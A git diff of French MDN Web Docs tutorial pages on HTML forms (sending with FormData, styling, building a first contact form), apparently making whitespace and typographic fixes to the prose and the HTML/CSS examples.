applications web, vous pouvez consulter ces ressources : -- [Programmation d'un site web côté‑serveur : premiers pas](/fr/docs/Learn/Server-side/First_steps) +- [Programmation d'un site web côté‑serveur : premiers pas](/fr/docs/Learn/Server-side/First_steps) - [Open Web Application Security Project (OWASP)](https://www.owasp.org/index.php/Main_Page) (Projet pour la sécurité des applications dans un Web ouvert) - [Blog de Chris Shiflett à propos de la sécurité avec PHP](https://shiflett.org/) diff --git a/files/fr/learn/forms/sending_forms_through_javascript/index.md b/files/fr/learn/forms/sending_forms_through_javascript/index.md index f0e64a4440..f120464603 100644 --- a/files/fr/learn/forms/sending_forms_through_javascript/index.md +++ b/files/fr/learn/forms/sending_forms_through_javascript/index.md @@ -104,7 +104,7 @@ Voici le résultat en direct : Construire manuellement une requête HTTP peut devenir fastidieux. Heureusement, une [spécification XMLHttpRequest](http://www.w3.org/TR/XMLHttpRequest/) récente fournit un moyen pratique et plus simple pour traiter les demandes de données de formulaire avec l'objet {{domxref("XMLHttpRequest/FormData", "FormData")}}. -L'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} peut s'utiliser pour construire des données de formulaire pour la transmission ou pour obtenir les données des élément de formulaire de façon à gérer leur mode d'envoi. Notez que les objets {{domxref("XMLHttpRequest/FormData", "FormData")}} sont en écriture seule (« write only »), ce qui signifie que vous pouvez les modifier, mais pas récupérer leur contenu. +L'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} peut s'utiliser pour construire des données de formulaire pour la transmission ou pour obtenir les données des élément de formulaire de façon à gérer leur mode d'envoi. Notez que les objets {{domxref("XMLHttpRequest/FormData", "FormData")}} sont en écriture seule (« write only »), ce qui signifie que vous pouvez les modifier, mais pas récupérer leur contenu. L'utilisation de cet objet est détaillée dans [Utiliser les objets FormData](/fr/docs/Web/API/FormData/Utilisation_objets_FormData), mais voici deux exemples : @@ -150,7 +150,7 @@ Voici le résultat directement : #### Utiliser un objet FormData lié à un élément form -Vous pouvez également lier un objet `FormData` à un élément {{HTMLElement("form")}} et créer ainsi un `FormData` représentant les données contenues dans le formulaire. +Vous pouvez également lier un objet `FormData` à un élément {{HTMLElement("form")}} et créer ainsi un `FormData` représentant les données contenues dans le formulaire. Le HTML est classique : @@ -424,7 +424,7 @@ Voici le résultat en direct : Selon le navigateur, l'envoi de données de formulaire par JavaScript peut être facile ou difficile. L'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} en est généralement la cause et n'hésitez pas à utiliser un « polyfill » ([prothèse d'émulation](https://fr.wikipedia.org/wiki/Polyfill)) pour cela sur les navigateurs anciens : -- [Ces primitives](https://gist.github.com/3120320) sont des « polyfills » de `FormData` avec des {{domxref("Using_web_workers","worker")}}. +- [Ces primitives](https://gist.github.com/3120320) sont des « polyfills » de `FormData` avec des {{domxref("Using_web_workers","worker")}}. - [HTML5-formdata](https://github.com/francois2metz/html5-formdata) tente d'opérer un « polyfill » de l'objet `FormData`, mais il requiert un [File API](http://www.w3.org/TR/FileAPI/) - [Ce « polyfill »](https://github.com/jimmywarting/FormData) fournit la plupart des nouvelles méthodes dont `FormData` dispose (entrées, clés, valeurs et prise en charge de `for...of`) diff --git a/files/fr/learn/forms/styling_web_forms/index.md b/files/fr/learn/forms/styling_web_forms/index.md index 89c4f12824..89f13ac148 100644 --- a/files/fr/learn/forms/styling_web_forms/index.md +++ b/files/fr/learn/forms/styling_web_forms/index.md @@ -16,11 +16,11 @@ original_slug: Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML > Dans cet article, nous allons apprendre comment utiliser [les CSS](/fr/docs/CSS "/fr/docs/CSS") avec les formulaires [HTML](/fr/docs/HTML "/fr/docs/HTML") pour (espérons-le) améliorer leur apparence. Étonnamment, ceci peut être délicat. Pour des raisons techniques et historiques, les widgets de formulaires ne s'allient pas très bien avec CSS. À cause de ces difficultés, de nombreux développeurs préfèrent [construire leurs propres widgets HTML](/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés "/fr/docs/HTML/Formulaires/Comment_créer_des_blocs_de_formulaires_personnalisés") pour avoir plus de maîtrise sur leur apparence. Toutefois, avec les navigateurs modernes, les web designers ont de plus en plus d'emprise sur l'apparence de leurs formulaires. Voyons cela de plus près. -## Pourquoi est-ce si difficile de modifier l'apparence des formulaires avec CSS ? +## Pourquoi est-ce si difficile de modifier l'apparence des formulaires avec CSS ? -Dans la jeunesse du Web — aux alentours de 1995 — les formulaires ont été ajoutés au HTML dans la [spécification HTML 2](http://www.ietf.org/rfc/rfc1866.txt). À cause de la complexité des formulaires, ceux qui les mettaient en œuvre ont préféré s'appuyer sur le système d'exploitation sous‑jacent pour les gérer et les afficher. +Dans la jeunesse du Web — aux alentours de 1995 — les formulaires ont été ajoutés au HTML dans la [spécification HTML 2](http://www.ietf.org/rfc/rfc1866.txt). À cause de la complexité des formulaires, ceux qui les mettaient en œuvre ont préféré s'appuyer sur le système d'exploitation sous‑jacent pour les gérer et les afficher. -Quelques années plus tard, les CSS ont été créées et ce qui était une nécessité technique — c'est-à-dire, utiliser des widgets natifs pour les contrôles de formulaire — est devenu un préalable stylistique. Dans la jeunesse des CSS, l'apparence des formulaires n'était pas une priorité. +Quelques années plus tard, les CSS ont été créées et ce qui était une nécessité technique — c'est-à-dire, utiliser des widgets natifs pour les contrôles de formulaire — est devenu un préalable stylistique. Dans la jeunesse des CSS, l'apparence des formulaires n'était pas une priorité. Comme les utilisateurs étaient habitués à l'apparence visuelle de leurs plateformes respectives, les fournisseurs de navigateurs étaient réticents à rendre possible la modification de l'apparence des formulaires. Et pour être honnête, il est toujours extrêmement difficile de reconstruire tous les contrôles pour que leur apparence soit modifiable. @@ -32,7 +32,7 @@ Actuellement, quelques difficultés subsistent dans l'utilisation des CSS avec l #### Le bon -L'apparence de certains éléments peut être modifiée sans poser beaucoup de problèmes suivant les diverses plateformes. Ceci inclut les éléments structurels suivants : +L'apparence de certains éléments peut être modifiée sans poser beaucoup de problèmes suivant les diverses plateformes. Ceci inclut les éléments structurels suivants : 1. {{HTMLElement("form")}} 2. {{HTMLElement("fieldset")}} @@ -61,7 +61,7 @@ Pour changer l'apparence [des éléments facilement modifiables](/fr/docs/HTML/F ### Champs de recherche -Les boîtes de recherche sont le seul type de champ textuel dont l'apparence peut être un peu complexe à modifier. Sur les navigateurs utilisant WebKit (Chrome, Safari, etc.) vous devrez utiliser la propriété CSS propriétaire `-webkit-appearance`. Nous allons aborder le sujet plus en détails dans dans l'article : [Apparence avancée des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms "/fr/docs/Apparence_avancée_des_formulaires_HTML"). +Les boîtes de recherche sont le seul type de champ textuel dont l'apparence peut être un peu complexe à modifier. Sur les navigateurs utilisant WebKit (Chrome, Safari, etc.) vous devrez utiliser la propriété CSS propriétaire `-webkit-appearance`. Nous allons aborder le sujet plus en détails dans dans l'article : [Apparence avancée des formulaires HTML](/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms "/fr/docs/Apparence_avancée_des_formulaires_HTML"). #### Exemple @@ -86,7 +86,7 @@ Comme vous pouvez le voir sur la capture d'écran pour Chrome, les deux champs o ### Texte et polices de caractères -Les fonctionnalités liées au texte et aux polices de caractères dans les CSS peuvent être utilisées facilement avec n'importe quel widget (et oui, vous pouvez utiliser {{cssxref("@font-face")}} avec les formulaires). Toutefois, le comportement des navigateurs est souvent incompatible. Par défaut, certains éléments comme {{cssxref("font-family")}} {{cssxref("font-size")}} n'héritent pas de leurs parents. De nombreux navigateurs utilisent les valeurs du système d'exploitation. Pour que l'apparence des formulaires soit cohérente avec le reste de votre contenu, vous pouvez ajouter les règles suivantes à votre feuille de style : +Les fonctionnalités liées au texte et aux polices de caractères dans les CSS peuvent être utilisées facilement avec n'importe quel widget (et oui, vous pouvez utiliser {{cssxref("@font-face")}} avec les formulaires). Toutefois, le comportement des navigateurs est souvent incompatible. Par défaut, certains éléments comme {{cssxref("font-family")}} {{cssxref("font-size")}} n'héritent pas de leurs parents. De nombreux navigateurs utilisent les valeurs du système d'exploitation. Pour que l'apparence des formulaires soit cohérente avec le reste de votre contenu, vous pouvez ajouter les règles suivantes à votre feuille de style : ```css button, input, select, textarea { @@ -105,7 +105,7 @@ Il existe un débat animé sur le fait qu'un formulaire ait une meilleure appare Tous les champs textuels sont compatibles avec les différentes propriétés du modèle de boîte CSS ({{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}} et {{cssxref("border")}}). Toutefois, comme précédemment les navigateurs s'appuient sur l'apparence par défaut du système d'exploitation. C'est votre décision de choisir si vous souhaitez intégrer vos formulaires à votre contenu du point de vue de l'apparence. Si vous souhaitez conserver l'apparence originale des blocs, vous aurez des difficultés à leur donner des dimensions cohérentes. -**Chacun des blocs a ses propres règles concernant les bordures, la marge intérieure (padding) et extérieure (margin).** Si vous souhaitez qu'ils aient tous la même dimension, vous devrez utiliser la propriété {{cssxref("box-sizing")}} : +**Chacun des blocs a ses propres règles concernant les bordures, la marge intérieure (padding) et extérieure (margin).** Si vous souhaitez qu'ils aient tous la même dimension, vous devrez utiliser la propriété {{cssxref("box-sizing")}} : ```css input, textarea, select, button { @@ -124,13 +124,13 @@ Dans la capture d'écran ci-dessous, la colonne de gauche n'utilise pas {{cssxre ### Positionnement -Le positionnement des formulaires HTML n'est pas un problème de manière générale. Seulement deux éléments nécessitent une attention particulière : +Le positionnement des formulaires HTML n'est pas un problème de manière générale. Seulement deux éléments nécessitent une attention particulière : #### legend L'apparence de l'élément {{HTMLElement("legend")}} est facile à modifier à l'exception de sa position. Dans chaque navigateur, l'élément {{HTMLElement("legend")}} est positionné au-dessus de la bordure supérieure de son élément {{HTMLElement("fieldset")}} parent. Il n'existe aucune manière de changer sa position dans le flux HTML. Vous pouvez toutefois le positionner de manière absolue ou relative en utilisant la propriété {{cssxref("position")}}, sinon, ce sera une partie de la bordure de l'élément `fieldset`. -Comme l'élément {{HTMLElement("legend")}} est très important pour des raisons d'accessibilité (nous parlerons des techniques pour l'assistance à propos de l'attribut `label` de chaque élément de formulaire du `fieldset`), il est souvent associé à un intitulé, puis caché à l'accessibilité, comme ceci : +Comme l'élément {{HTMLElement("legend")}} est très important pour des raisons d'accessibilité (nous parlerons des techniques pour l'assistance à propos de l'attribut `label` de chaque élément de formulaire du `fieldset`), il est souvent associé à un intitulé, puis caché à l'accessibilité, comme ceci : ##### HTML @@ -176,17 +176,17 @@ Le HTML n'est qu'à peine plus développé que celui de l'exemple du premier [ar <h1>à: Mozilla</h1> <div id="from"> - <label for="name">de :</label> + <label for="name">de :</label> <input type="text" id="name" name="user_name"> </div> <div id="reply"> - <label for="mail">répondre à :</label> + <label for="mail">répondre à :</label> <input type="email" id="mail" name="user_email"> </div> <div id="message"> - <label for="msg">Votre message :</label> + <label for="msg">Votre message :</label> <textarea id="msg" name="user_message"></textarea> </div> @@ -201,17 +201,17 @@ Le HTML n'est qu'à peine plus développé que celui de l'exemple du premier [ar C'est ici que le « fun » commence ! Avant de commencer à coder, nous avons besoin de trois ressources supplémentaires : 1. L'[image de fond](/files/4151/background.jpg "The postcard background") de la carte postale — téléchargez cette image et sauvegardez‑la dans le même répertoire que votre fichier HTML de travail. -2. Une police de machine à écrire : [« Secret Typewriter » de fontsquirrel.com](http://www.fontsquirrel.com/fonts/Secret-Typewriter) — téléchargez le fichier TTF dans le même répertoire que ci‑dessus. -3. Une police d'écriture manuelle : [« Journal » de fontsquirrel.com](http://www.fontsquirrel.com/fonts/Journal) — téléchargez le fichier TTF dans le même répertoire que ci‑dessus. +2. Une police de machine à écrire : [« Secret Typewriter » de fontsquirrel.com](http://www.fontsquirrel.com/fonts/Secret-Typewriter) — téléchargez le fichier TTF dans le même répertoire que ci‑dessus. +3. Une police d'écriture manuelle : [« Journal » de fontsquirrel.com](http://www.fontsquirrel.com/fonts/Journal) — téléchargez le fichier TTF dans le même répertoire que ci‑dessus. -Les polices demandent un supplément de traitement avant de débuter : +Les polices demandent un supplément de traitement avant de débuter : 1. Allez sur le [Webfont Generator](https://www.fontsquirrel.com/tools/webfont-generator) de fontsquirrel. 2. En utilisant le formulaire, téléversez les fichiers de polices et créez un kit de polices pou le Web. Téléchargez le kit sur votre ordinateur. 3. Décompressez le fichier zip fourni. -4. Dans le contenu décompressé vous trouverez deux fichiers `.woff` et deux fichiers `.woff2`. Copiez ces quatre fichiers dans un répertoire nommé `fonts`, dans le même répertoire que ci‑dessus. Nous utilisons deux fichiers différents pour maximiser la compatibilité avec les navigateurs ; voyez notre article sur les [Web fonts](/fr/docs/Learn/CSS/Styling_text/Web_fonts) pour des informations plus détaillées. +4. Dans le contenu décompressé vous trouverez deux fichiers `.woff` et deux fichiers `.woff2`. Copiez ces quatre fichiers dans un répertoire nommé `fonts`, dans le même répertoire que ci‑dessus. Nous utilisons deux fichiers différents pour maximiser la compatibilité avec les navigateurs ; voyez notre article sur les [Web fonts](/fr/docs/Learn/CSS/Styling_text/Web_fonts) pour des informations plus détaillées. ### Le CSS diff --git a/files/fr/learn/forms/your_first_form/example/index.md b/files/fr/learn/forms/your_first_form/example/index.md index f261558cdc..d45995e674 100644 --- a/files/fr/learn/forms/your_first_form/example/index.md +++ b/files/fr/learn/forms/your_first_form/example/index.md @@ -12,24 +12,24 @@ Ceci est l'exemple pour l'article [Mon premier formulaire HTML](/fr/docs/HTML/Fo ```html <form action="http://www.cs.tut.fi/cgi-bin/run/~jkorpela/echo.cgi" method="post"> - <div> - <label for="nom">Nom :</label> - <input type="text" id="nom" name="user_name"> - </div> - - <div> - <label for="courriel">Courriel :</label> - <input type="email" id="courriel" name="user_email"> - </div> - - <div> - <label for="message">Message :</label> - <textarea id="message" name="user_message"></textarea> - </div> - - <div class="button"> - <button type="submit">Envoyer le message</button> - </div> + <div> + <label for="nom">Nom :</label> + <input type="text" id="nom" name="user_name"> + </div> + + <div> + <label for="courriel">Courriel :</label> + <input type="email" id="courriel" name="user_email"> + </div> + + <div> + <label for="message">Message :</label> + <textarea id="message" name="user_message"></textarea> + </div> + + <div class="button"> + <button type="submit">Envoyer le message</button> + </div> </form> ``` @@ -37,68 +37,68 @@ Ceci est l'exemple pour l'article [Mon premier formulaire HTML](/fr/docs/HTML/Fo ```css form { - /* Pour le centrer dans la page */ - margin: 0 auto; - width: 400px; - - /* Pour voir les limites du formulaire */ - padding: 1em; - border: 1px solid #CCC; - border-radius: 1em; + /* Pour le centrer dans la page */ + margin: 0 auto; + width: 400px; + + /* Pour voir les limites du formulaire */ + padding: 1em; + border: 1px solid #CCC; + border-radius: 1em; } div + div { - margin-top: 1em; + margin-top: 1em; } label { - /* Afin de s'assurer que toutes les étiquettes aient la même dimension et soient alignées correctement */ - display: inline-block; - width: 90px; - text-align: right; + /* Afin de s'assurer que toutes les étiquettes aient la même dimension et soient alignées correctement */ + display: inline-block; + width: 90px; + text-align: right; } input, textarea { - /* Afin de s'assurer que tous les champs textuels utilisent la même police - Par défaut, textarea utilise une police à espacement constant */ - font: 1em sans-serif; + /* Afin de s'assurer que tous les champs textuels utilisent la même police + Par défaut, textarea utilise une police à espacement constant */ + font: 1em sans-serif; - /* Pour donner la même dimension à tous les champs textuels */ - width: 300px; + /* Pour donner la même dimension à tous les champs textuels */ + width: 300px; - -moz-box-sizing: border-box; - box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; - /* Pour harmoniser l'apparence des bordures des champs textuels */ - border: 1px solid #999; + /* Pour harmoniser l'apparence des bordures des champs textuels */ + border: 1px solid #999; } input:focus, textarea:focus { - /* Afin de réhausser les éléments actifs */ - border-color: #000; + /* Afin de réhausser les éléments actifs */ + border-color: #000; } textarea { - /* Pour aligner correctement les champs multilignes et leurs étiquettes */ - vertical-align: top; + /* Pour aligner correctement les champs multilignes et leurs étiquettes */ + vertical-align: top; - /* Pour donner assez d'espace pour entrer du texte */ - height: 5em; + /* Pour donner assez d'espace pour entrer du texte */ + height: 5em; - /* Pour permettre aux utilisateurs de redimensionner un champ textuel horizontalement - Cela ne marche pas avec tous les navigateurs */ - resize: vertical; + /* Pour permettre aux utilisateurs de redimensionner un champ textuel horizontalement + Cela ne marche pas avec tous les navigateurs */ + resize: vertical; } .button { - /* Pour positionner les boutons de la même manière que les champs textuels */ - padding-left: 90px; /* même dimension que les étiquettes */ + /* Pour positionner les boutons de la même manière que les champs textuels */ + padding-left: 90px; /* même dimension que les étiquettes */ } button { - /* Cette marge représente approximativement le même espace - que celui entre les étiquettes et les champs textuels */ - margin-left: .5em; + /* Cette marge représente approximativement le même espace + que celui entre les étiquettes et les champs textuels */ + margin-left: .5em; } ``` diff --git a/files/fr/learn/forms/your_first_form/index.md b/files/fr/learn/forms/your_first_form/index.md index bf49454b8c..868a61e423 100644 --- a/files/fr/learn/forms/your_first_form/index.md +++ b/files/fr/learn/forms/your_first_form/index.md @@ -20,7 +20,7 @@ Le premier article de notre série vous offre une toute première expérience de <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Notions concernant les ordinateurs et les <a href="/fr/Apprendre/HTML/Introduction_à_HTML" @@ -29,7 +29,7 @@ Le premier article de notre série vous offre une toute première expérience de </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Comprendre ce que sont les formulaires HTML, à quoi ils servent, comment les concevoir et quels sont les éléments de base HTML nécessaires dans @@ -45,13 +45,13 @@ Les formulaires HTML sont un des vecteurs principaux d'interaction entre un util Un formulaire HTML est composé d'un ou plusieurs widgets. Ceux-ci peuvent être des zones de texte (sur une seule ligne ou plusieurs lignes), des boîtes à sélection, des boutons, des cases à cocher ou des boutons radio. La plupart du temps, ces items sont associés à un libellé qui décrit leur rôle — des étiquettes correctement implémentées sont susceptibles d'informer clairement l'utilisateur normal ou mal‑voyant sur ce qu'il convient d'entrer dans le formulaire. -La principale différence entre un formulaire HTML et un document HTML habituel réside dans le fait que, généralement, les données collectées par le formulaire sont envoyées vers un serveur web. Dans ce cas, vous avez besoin de mettre en place un serveur web pour récupérer ces données et les traiter. La mise en place d'un tel serveur ne fait pas partie des sujets abordés dans ce guide. Si vous souhaitez toutefois en savoir plus, voyez « [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires) » plus loin dans ce module. +La principale différence entre un formulaire HTML et un document HTML habituel réside dans le fait que, généralement, les données collectées par le formulaire sont envoyées vers un serveur web. Dans ce cas, vous avez besoin de mettre en place un serveur web pour récupérer ces données et les traiter. La mise en place d'un tel serveur ne fait pas partie des sujets abordés dans ce guide. Si vous souhaitez toutefois en savoir plus, voyez « [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires) » plus loin dans ce module. ## Concevoir le formulaire Avant de passer au code, il est souhaitable de prendre un peu de recul et accorder quelques instants de réflexion à votre formulaire. Dessiner un rapide croquis vous permettra de définir les informations que vous souhaitez demander à l'utilisateur. Du point de vue de l'expérience utilisateur, il est important de garder à l'esprit que plus vous demandez d'informations, plus vous risquez que votre utilisateur s'en aille. Restez simple et ne perdez pas votre objectif de vue : ne demandez que ce dont vous avez absolument besoin. La conception de formulaires est une phase importante de la construction d'un site internet ou d'une application. L'approche de l'expérience utilisateur de ces formulaires ne fait pas partie des objectifs de ce guide, mais si vous souhaitez approfondir ce sujet, vous pouvez lire les articles suivants : -- Smashing Magazine a de très bons [articles à propos de l'expérience utilisateur dans les formulaires](http://uxdesign.smashingmagazine.com/tag/forms/), mais le plus intéressant est certainement leur « [Guide complet pour des formulaires web facilement utilisables](http://uxdesign.smashingmagazine.com/2011/11/08/extensive-guide-web-form-usability/) ». +- Smashing Magazine a de très bons [articles à propos de l'expérience utilisateur dans les formulaires](http://uxdesign.smashingmagazine.com/tag/forms/), mais le plus intéressant est certainement leur « [Guide complet pour des formulaires web facilement utilisables](http://uxdesign.smashingmagazine.com/2011/11/08/extensive-guide-web-form-usability/) ». - UXMatters est une ressource bien pensée avec de très bons conseils allant des [meilleures pratiques de base](http://www.uxmatters.com/mt/archives/2012/05/7-basic-best-practices-for-buttons.php) jusqu'à des sujets plus complexes tels que [les formulaires sur plusieurs pages](http://www.uxmatters.com/mt/archives/2010/03/pagination-in-web-forms-evaluating-the-effectiveness-of-web-forms.php). Dans ce guide, nous allons concevoir un formulaire de contact simple. Posons les premières pierres. @@ -60,7 +60,7 @@ Dans ce guide, nous allons concevoir un formulaire de contact simple. Posons les Notre formulaire contiendra trois champs de texte et un bouton. Nous demandons simplement à notre utilisateur son nom, son adresse électronique et le message qu'il souhaite envoyer. En appuyant sur le bouton, le message sera envoyé au serveur web. -## Apprentissage actif : mise en œuvre de notre formulaire HTML +## Apprentissage actif : mise en œuvre de notre formulaire HTML Très bien, nous sommes maintenant prêts à passer au HTML et à coder notre formulaire. Pour construire notre formulaire, nous aurons besoin des éléments HTML suivants : {{HTMLElement("form")}}, {{HTMLElement("label")}}, {{HTMLElement("input")}}, {{HTMLElement("textarea")}} et {{HTMLElement("button")}}. @@ -81,7 +81,7 @@ Cet élément définit un formulaire. C'est un élément conteneur au même titr - L'attribut `action` définit l'emplacement (une URL) où doivent être envoyées les données collectées par le formulaire. - L'attribut `method` définit la méthode HTTP utilisée pour envoyer les données (cela peut être « get » ou « post »). -> **Note :** Si vous souhaitez en savoir plus sur le fonctionnement de ces attributs, cela est détaillé dans l'article [« Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires) ». +> **Note :** Si vous souhaitez en savoir plus sur le fonctionnement de ces attributs, cela est détaillé dans l'article [« Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires) ». Pour le moment, ajoutez l'élément {{htmlelement("form")}} ci dessus dans le corps de votre HTML. @@ -98,7 +98,7 @@ En terme de code HTML, nous avons besoin de quelque chose qui ressemble à ceci <input type="text" id="name" name="user_name"> </div> <div> - <label for="mail">e-mail :</label> + <label for="mail">e-mail :</label> <input type="email" id="mail" name="user_mail"> </div> <div> @@ -113,7 +113,7 @@ Les éléments {{HTMLElement("div")}} sont ici pour structurer notre code et ren Concernant l'élément {{HTMLElement("input")}}, l'attribut le plus important est l'attribut `type`. Ce dernier est extrêmement important puisqu'il définit le comportement de l'élément {{HTMLElement("input")}}. Il peut radicalement changer le sens de l'élément, faites-y attention. Si vous voulez en savoir plus à ce propos, vous pouvez lire l'article au sujet des [widgets natifs pour formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs). - Dans notre exemple nous n'utilisons que la valeur `text` — qui est la valeur par défaut de cet attribut et représente un champ de texte basique sur une seule ligne acceptant n'importe quel type de texte. -- Pour la deuxième entrée, nous utilisons la valeur `email` qui définit un champ de texte sur une seule ligne n'acceptant que des adresses électroniques valides. Cette dernière valeur transforme un champ basique en une sorte de champ « intelligent » qui réalise des vérifications sur les données fournies par l'utilisateur. Vous trouverez plus de détails sur la validation des formulaires dans l'article [Validation des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire). +- Pour la deuxième entrée, nous utilisons la valeur `email` qui définit un champ de texte sur une seule ligne n'acceptant que des adresses électroniques valides. Cette dernière valeur transforme un champ basique en une sorte de champ « intelligent » qui réalise des vérifications sur les données fournies par l'utilisateur. Vous trouverez plus de détails sur la validation des formulaires dans l'article [Validation des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire). Last but not least, remarquez la syntaxe de `<input>` vs `<textarea></textarea>`. C'est une des bizarreries du HTML. La balise `<input>` est un élément vide, ce qui signifie qu'il n'a pas besoin de balise fermante. Au contraire, {{HTMLElement("textarea")}} n'est pas un élément vide, il faut donc le fermer avec la balise fermante appropriée. Cela a un effet sur une caractéristique spécifique des formulaires HTML : la manière dont vous définissez la valeur par défaut. Pour définir une valeur par défaut d'un élément {{HTMLElement("input")}} vous devez utiliser l'attribut `value` de la manière suivante : @@ -137,7 +137,7 @@ Notre formulaire est presque terminé. Il nous suffit seulement d'ajouter un bou </div> ``` -Comme vous le voyez l'élément {{htmlelement("button")}} accepte aussi un attribut de type — il peut prendre une des trois valeurs : `submit`, `reset` ou `button`. +Comme vous le voyez l'élément {{htmlelement("button")}} accepte aussi un attribut de type — il peut prendre une des trois valeurs : `submit`, `reset` ou `button`. - Un clic sur un bouton `submit` (valeur par défaut) envoie les données du formulaire vers la page définie par l'attribut `action` de l'élément {{HTMLElement("form")}}. - Un clic sur un bouton `reset` réinitialise tous les widgets du formulaire à leurs valeurs par défaut immédiatement. Du point de vue de l'expérience utilisateur, utiliser un tel bouton est une mauvaise pratique. @@ -151,11 +151,11 @@ Nous avons désormais notre formulaire HTML, et si vous le regardez dans votre n  -> **Note :** Si vous pensez que vous n'avez pas écrit un code HTML correct, faites la comparaison avec celui de notre exemple terminé — voyez [first-form.html](https://github.com/mdn/learning-area/blob/master/html/forms/your-first-HTML-form/first-form.html) (ou [également directement](https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form.html)). +> **Note :** Si vous pensez que vous n'avez pas écrit un code HTML correct, faites la comparaison avec celui de notre exemple terminé — voyez [first-form.html](https://github.com/mdn/learning-area/blob/master/html/forms/your-first-HTML-form/first-form.html) (ou [également directement](https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form.html)). Les formulaires sont notoirement embêtants à présenter joliment. Apprendre la mise en page ou la décoration des formulaires sort du cadre de cet article, donc pour le moment nous allons simplement ajouter quelques indications au CSS pour lui donner un air convenable. -Tout d'abord, ajoutons un élément {{htmlelement("style")}} à notre page, dans l'en‑tête HTML. Comme ceci : +Tout d'abord, ajoutons un élément {{htmlelement("style")}} à notre page, dans l'en‑tête HTML. Comme ceci : ```html <style> @@ -163,7 +163,7 @@ Tout d'abord, ajoutons un élément {{htmlelement("style")}} à notre page, dans </style> ``` -Entre les balises style, ajoutons le CSS suivant, juste comme indiqué : +Entre les balises style, ajoutons le CSS suivant, juste comme indiqué : ```css form { @@ -239,16 +239,16 @@ L'élément {{HTMLElement("form")}} définit où et comment les données sont en Mais ce n'est pas tout. Nous avons aussi besoin de donner un nom à nos données. Ces noms sont importants pour deux raisons. Du côté du navigateur, cela sert à définir le nom de chaque élément de donnée. Du côté du serveur, chaque information doit avoir un nom pour être manipulée correctement. -Pour nommer vos données vous devez utiliser l'attribut `name` pour identifier bien précisément l'élément d'information collecté par chacun des widgets. Regardons à nouveau le code de notre formulaire : +Pour nommer vos données vous devez utiliser l'attribut `name` pour identifier bien précisément l'élément d'information collecté par chacun des widgets. Regardons à nouveau le code de notre formulaire : ```html <form action="/my-handling-form-page" method="post"> <div> - <label for="name">Nom :</label> + <label for="name">Nom :</label> <input type="text" id="name" name="user_name" /> <div> <div> - <label for="mail">E-mail :</label> + <label for="mail">E-mail :</label> <input type="email" id="mail" name="user_email" /> </div> <div> @@ -259,17 +259,17 @@ Pour nommer vos données vous devez utiliser l'attribut `name` pour identifier b ... ``` -Dans notre exemple, le formulaire enverra trois informations nommées respectivement « `user_name` », « `user_email` » et « `user_message` ». Ces informations seront envoyées à l'URL « `/my-handling-form-page` » avec la méthode HTTP POST. +Dans notre exemple, le formulaire enverra trois informations nommées respectivement « `user_name` », « `user_email` » et « `user_message` ». Ces informations seront envoyées à l'URL « `/my-handling-form-page` » avec la méthode HTTP POST. Du côté du serveur, le script à l'URL « `/my-handling-form-page` » recevra les données sous forme d'une liste de trois éléments clé/valeur intégrés à la requête HTTP. À vous de définir comment ce script va manipuler les données. Chacun des langages serveurs (PHP, Python, Ruby, Java, C#, etc.) a son propre mécanisme pour traiter ces données. Il n'appartient pas à ce guide d'approfondir ce sujet, mais si vous souhaitez en savoir plus, nous avons mis quelques exemples dans l'article [Envoi des données de formulaire](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires). ## Résumé -Félicitations ! Vous avez construit votre premier formulaire HTML. Il ressemble à ceci : +Félicitations ! Vous avez construit votre premier formulaire HTML. Il ressemble à ceci : {{EmbedLiveSample("Un_formulaire_simple", "100%", "240", "", "Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML/Exemple")}} -Toutefois, ce n'est qu'un début — il est désormais temps de regarder plus en détail. Les formulaires HTML sont bien plus puissants que ce que vous avez pu voir ici et les autres articles de ce guide vous aiderons à maîtriser le reste. +Toutefois, ce n'est qu'un début — il est désormais temps de regarder plus en détail. Les formulaires HTML sont bien plus puissants que ce que vous avez pu voir ici et les autres articles de ce guide vous aiderons à maîtriser le reste. {{NextMenu("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires")}} diff --git a/files/fr/learn/front-end_web_developer/index.md b/files/fr/learn/front-end_web_developer/index.md index 8912d6b416..378118d49e 100644 --- a/files/fr/learn/front-end_web_developer/index.md +++ b/files/fr/learn/front-end_web_developer/index.md @@ -67,7 +67,7 @@ Rien d'autre que des connaissances informatiques de base, et un environnement de #### Comment saurai-je que je suis prêt à passer à autre chose ? -Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant. +Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant. #### Guides fondamentaux @@ -85,7 +85,7 @@ Il est recommandé d'avoir des connaissances de base en HTML avant de commencer #### Comment saurai-je que je suis prêt à passer à autre chose ? -Les évaluations de chaque module sont conçues 